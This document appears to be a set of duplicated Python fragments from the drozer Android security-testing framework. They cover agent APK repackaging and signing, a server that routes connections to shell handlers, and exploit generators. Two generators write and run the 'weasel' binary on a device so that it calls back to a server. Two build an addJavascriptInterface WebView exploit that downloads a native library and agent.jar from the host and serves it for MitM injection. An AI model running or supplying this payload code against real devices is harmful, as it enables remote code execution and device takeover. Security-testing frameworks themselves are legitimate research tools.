def unpack(self, name): if self._execute([ self.__java, "-jar", self.__apk_tool, "decode", Configuration.library(name + ".apk"), "-o", self.source_dir() ]) != 0: raise RuntimeError("could not unpack " + name)
def loadClass(self, source, klass, relative_to=None): """ Load a Class from a local apk file (source) on the running Dalvik VM. """ if relative_to == None: relative_to = os.path.join(os.path.dirname(__file__), "..") elif relative_to.find(".py") >= 0 or relative_to.find(".pyc") >= 0: relative_to = os.path.dirname(relative_to) if not Module.cached_klass(".".join([source, klass])): loader = utils.ClassLoader( source, self.__get_cache_path(), self.__get_constructor(), self.klass('java.lang.ClassLoader').getSystemClassLoader(), relative_to=relative_to) loader.android_path = lambda: Configuration.library("android.jar") loader.dx_path = lambda: Configuration.executable( "dx.bat") if platform.system( ) == "Windows" else Configuration.executable("dx") """ javac not found """ loader.javac_path = lambda: Configuration.executable("javac") Module.cache_klass(".".join([source, klass]), loader.loadClass(klass)) return Module.get_cached_klass(".".join([source, klass]))
class Packager(command_wrapper.Wrapper): __aapt = Configuration.library("aapt") __aapt_osx = Configuration.library("aapt-osx") __aapt_exe = Configuration.library("aapt.exe") __apk_tool = Configuration.library("apktool.jar") __certificate = Configuration.library("certificate.pem") __key = Configuration.library("key.pk8") __java = Configuration.executable("java") ff = Configuration.path() __sign_apk = Configuration.library("signapk.jar") __endpoint = "endpoint.txt" __manifest = "AndroidManifest.xml" def __init__(self): self.__wd = self._get_wd() def apk_path(self, signed=True): if signed: return os.path.join(self.__wd, "agent.apk") else: return os.path.join(self.__wd, "agent-unsigned.apk") def endpoint_path(self): return os.path.join(self.__wd, "agent", "res", "raw", self.__endpoint) def manifest_path(self): return os.path.join(self.__wd, "agent", self.__manifest) def package(self): platform_name = platform.system() if platform_name == "Darwin": aapt = self.__aapt_osx elif platform_name == "Windows": aapt = self.__aapt_exe else: aapt = self.__aapt if self._execute([self.__java, "-jar", self.__apk_tool, "-q", "build", "-a", aapt, self.source_dir(), self.apk_path(False)]) != 0: raise RuntimeError("could not repack the agent sources") if self._execute([self.__java, "-jar", self.__sign_apk, self.__certificate, self.__key, self.apk_path(False), self.apk_path(True)]) != 0: raise RuntimeError("could not sign the agent package") return os.path.join(self.__wd, "agent.apk") def source_dir(self): return os.path.join(self.__wd, "agent") def unpack(self, name): if self._execute([self.__java, "-jar", self.__apk_tool, "-q", "decode", Configuration.library(name + ".apk"), self.source_dir()]) != 0: raise RuntimeError("could not unpack " + name)
def unpack(self, name): if ( self._execute( [ self.__java, "-jar", self.__apk_tool, "-q", "decode", Configuration.library(name + ".apk"), self.source_dir(), ] ) != 0 ): raise RuntimeError("could not unpack " + name)
def generate(self, arguments): self.format = "R" # we only support RAW format architecture = "armeabi" if arguments.working_directory != None: directory = arguments.working_directory elif self.__exploit != None: directory = self.__exploit.working_directory else: directory = "/data/data/com.android.browser" weasel = Configuration.library(os.path.join("weasel", architecture)) self.append(self.hexifyString("cd %s\n" % directory)) self.append(self.hexifyString("/system/bin/rm w\n")) self.append(self.hexifyString("echo -e \"%s\" > w\n" % "".join(map(lambda b: "\\0%.3o" % ord(b), fs.read(weasel))))) self.append(self.hexifyString("/system/bin/chmod 770 w\n")) self.append(self.hexifyString("./w %s %d\n" % arguments.server))
def generate(self, arguments): self.format = "R" # we only support RAW format architecture = "armeabi" if arguments.working_directory != None: directory = arguments.working_directory elif self.__exploit != None: directory = self.__exploit.working_directory else: directory = "/data/data/com.android.browser" weasel = Configuration.library(os.path.join("weasel", architecture, "w")) self.append(self.hexifyString("cd %s\n" % directory)) self.append(self.hexifyString("/system/bin/rm w\n")) self.append(self.hexifyString("echo -e \"%s\" > w\n" % "".join(map(lambda b: "\\0%.3o" % ord(b), fs.read(weasel))))) self.append(self.hexifyString("/system/bin/chmod 770 w\n")) self.append(self.hexifyString("./w %s %d\n" % arguments.server))
def loadClass(self, source, klass, relative_to=None): """ Load a Class from a local apk file (source) on the running Dalvik VM. """ if relative_to == None: relative_to = os.path.join(os.path.dirname(__file__), "..") elif relative_to.find(".py") >= 0 or relative_to.find(".pyc") >= 0: relative_to = os.path.dirname(relative_to) if not Module.cached_klass(".".join([source, klass])): loader = utils.ClassLoader(source, self.__get_cache_path(), self.__get_constructor(), self.klass('java.lang.ClassLoader').getSystemClassLoader(), relative_to=relative_to) loader.android_path = Configuration.library("android.jar") loader.dx_path = Configuration.executable("dx") loader.javac_path = Configuration.executable("javac") Module.cache_klass(".".join([source, klass]), loader.loadClass(klass)) return Module.get_cached_klass(".".join([source, klass]))
class ProtocolSwitcher(Protocol): """ ProtocolSwitcher is a virtual protocol that can differentiate between different protocols being spoken to the drozer Server. If the incoming message starts with GET or POST, the server will route the connection to an HTTP server, otherwise it is connected to the drozer Server. """ protocol = None __web_root = path.join(path.dirname(__file__), "web_root") __file_provider = FileProvider({ "/": FileResource("/", path.join(__web_root, "index.html"), magic="I", reserved=False, type="text/html"), "/agent\\.apk": FileResource("/agent.apk", Configuration.library("standard-agent.apk"), type="application/vnd.android.package-archive"), "/agent\\.jar": FileResource("/agent.jar", Configuration.library("agent.jar"), reserved=False, type="application/vnd.android.package-archive"), "/drozer\\.png": FileResource("/drozer.png", path.join(__web_root, "drozer.png"), reserved=True, type="image/png"), "/favicon\\.png": FileResource("/favicon.png", path.join(__web_root, "favicon.png"), reserved=True, type="image/png"), "/index\\.html": FileResource("/index.html", path.join(__web_root, "index.html"), reserved=True, type="text/html"), "/jquery\\.js": FileResource("/jquery.js", path.join(__web_root, "jquery.js"), reserved=True, type="text/javascript"), "/labs\\.png": FileResource("/labs.png", path.join(__web_root, "labs.png"), reserved=True, type="image/png") }) __logger = getLogger(__name__) def __init__(self): pass def __chooseProtocol(self, data): """ Selects which protocol to be used, by inspecting the data. """ if data.startswith("DELETE") or data.startswith( "GET") or data.startswith("POST"): return HTTP(self.factory.credentials, self.__file_provider) elif data.startswith("COLLECT"): return ShellCollector() elif data.startswith("S"): return ShellServer() elif self.__file_provider.has_magic_for(data.strip()): return ByteStream(self.__file_provider) else: return Drozer() def connectionMade(self): """ When a connection is first established, no protocol is selected. """ self.__logger.debug("accepted incoming connection from " + str(self.transport.getPeer())) self.protocol = None def dataReceived(self, data): """ When data is received, we try to select a protocol. Future messages are routed to the appropriate handler. """ if self.protocol == None: protocol = self.__chooseProtocol(data) if protocol is not None: self.__logger.debug("switching protocol to " + protocol.name + " for " + str(self.transport.getPeer())) self.protocol = protocol self.protocol.makeConnection(self.transport) self.protocol.dataReceived(data) else: self.__logger.error("unrecognised protocol from " + str(self.transport.getPeer())) self.transport.loseConnection() else: self.protocol.dataReceived(data)
def generate(self, arguments): host = arguments.server[0] port = str(arguments.server[1]) # Load addjsi-exploit-functions.js functions_path = Configuration.library( os.path.join("scripts", "addjsi-exploit-functions.js")) drozer_js = fs.read(functions_path) # Save packageName and dataDir into variables drozer_js += "packageName = getPackageName();\n" drozer_js += "dataDir = \"/data/data/\" + packageName;\n" if arguments.no_context: # Add payload - normal weasel drozer_js += self._execute(self.payload.strip()) else: # # Add payload - libWebViewContext.so addition # # Write weasel and get server.settings drozer_js += self._execute(self.payload.strip() + " get server.settings") # Download additional tools additional_tools = self._weaselGet(host, port, "libWebViewContext.so") additional_tools += self._weaselGet(host, port, "agent.jar") drozer_js += self._execute(additional_tools) # Load libWebViewContext.so drozer_js += "loadLib(dataDir + \"/libWebViewContext.so\");\n" # Build server.settings and push server_settings = host + "," + port sys.stdout.write("Uploading server.settings...") if not self.upload(arguments, "/server.settings", server_settings): return # Upload libWebViewContext.so sys.stdout.write("Uploading libWebViewContext.so...") libPath = str( Configuration.library( os.path.join("WebViewContext", "libs", "armeabi", "libWebViewContext.so"))) if not self.upload(arguments, "/libWebViewContext.so", fs.read(libPath)): return path = self.generate_or_default_path(arguments.resource) exploit = """<html><script type="text/javascript" src="dz.js"></script></html>""" sys.stdout.write("Uploading blank page to /...") if not self.upload(arguments, "/", " "): return sys.stdout.write("Uploading exploit inclusion page to %s..." % path) if not self.upload(arguments, path, self.build_multipart({".*": exploit}, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="text/html", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }): return sys.stdout.write("Uploading exploit to /dz.js...") if not self.upload(arguments, "/dz.js", self.build_multipart({".*": drozer_js}, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="application/x-javascript", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }): return sys.stdout.write( "Done. The exploit is available on: http://%s:%s%s\n" % (host, port, path.replace("\\", ""))) sys.stdout.write( "When using the MitM helper plugin for drozer: JS Location = http://%s:%s/dz.js\n" % (host, port))
def generate(self, arguments): host = arguments.server[0] port = str(arguments.server[1]) # Load addjsi-exploit-functions.js functions_path = Configuration.library(os.path.join("scripts", "addjsi-exploit-functions.js")) drozer_js = fs.read(functions_path) # Save packageName and dataDir into variables drozer_js += "packageName = getPackageName();\n" drozer_js += "dataDir = \"/data/data/\" + packageName;\n" if arguments.no_context: # Add payload - normal weasel drozer_js += self._execute(self.payload.strip()) else: # # Add payload - libWebViewContext.so addition # # Write weasel and get server.settings drozer_js += self._execute(self.payload.strip() + " get server.settings") # Download additional tools additional_tools = self._weaselGet(host, port, "libWebViewContext.so") additional_tools += self._weaselGet(host, port, "agent.jar") drozer_js += self._execute(additional_tools) # Load libWebViewContext.so drozer_js += "loadLib(dataDir + \"/libWebViewContext.so\");\n" # Build server.settings and push server_settings = host + "," + port sys.stdout.write("Uploading server.settings...") if not self.upload(arguments, "/server.settings", server_settings): return # Upload libWebViewContext.so sys.stdout.write("Uploading libWebViewContext.so...") libPath = str(Configuration.library(os.path.join("WebViewContext", "libs", "armeabi", "libWebViewContext.so"))) if not self.upload(arguments, "/libWebViewContext.so", fs.read(libPath)): return path = self.generate_or_default_path(arguments.resource) exploit = """<html><script type="text/javascript" src="dz.js"></script></html>""" sys.stdout.write("Uploading blank page to /...") if not self.upload(arguments, "/", " "): return sys.stdout.write("Uploading exploit inclusion page to %s..." % path) if not self.upload(arguments, path, self.build_multipart({ ".*": exploit }, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="text/html", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }): return sys.stdout.write("Uploading exploit to /dz.js...") if not self.upload(arguments, "/dz.js", self.build_multipart({ ".*": drozer_js }, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="application/x-javascript", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }): return sys.stdout.write("Done. The exploit is available on: http://%s:%s%s\n" % (host, port, path.replace("\\",""))) sys.stdout.write("When using the MitM helper plugin for drozer: JS Location = http://%s:%s/dz.js\n" % (host, port))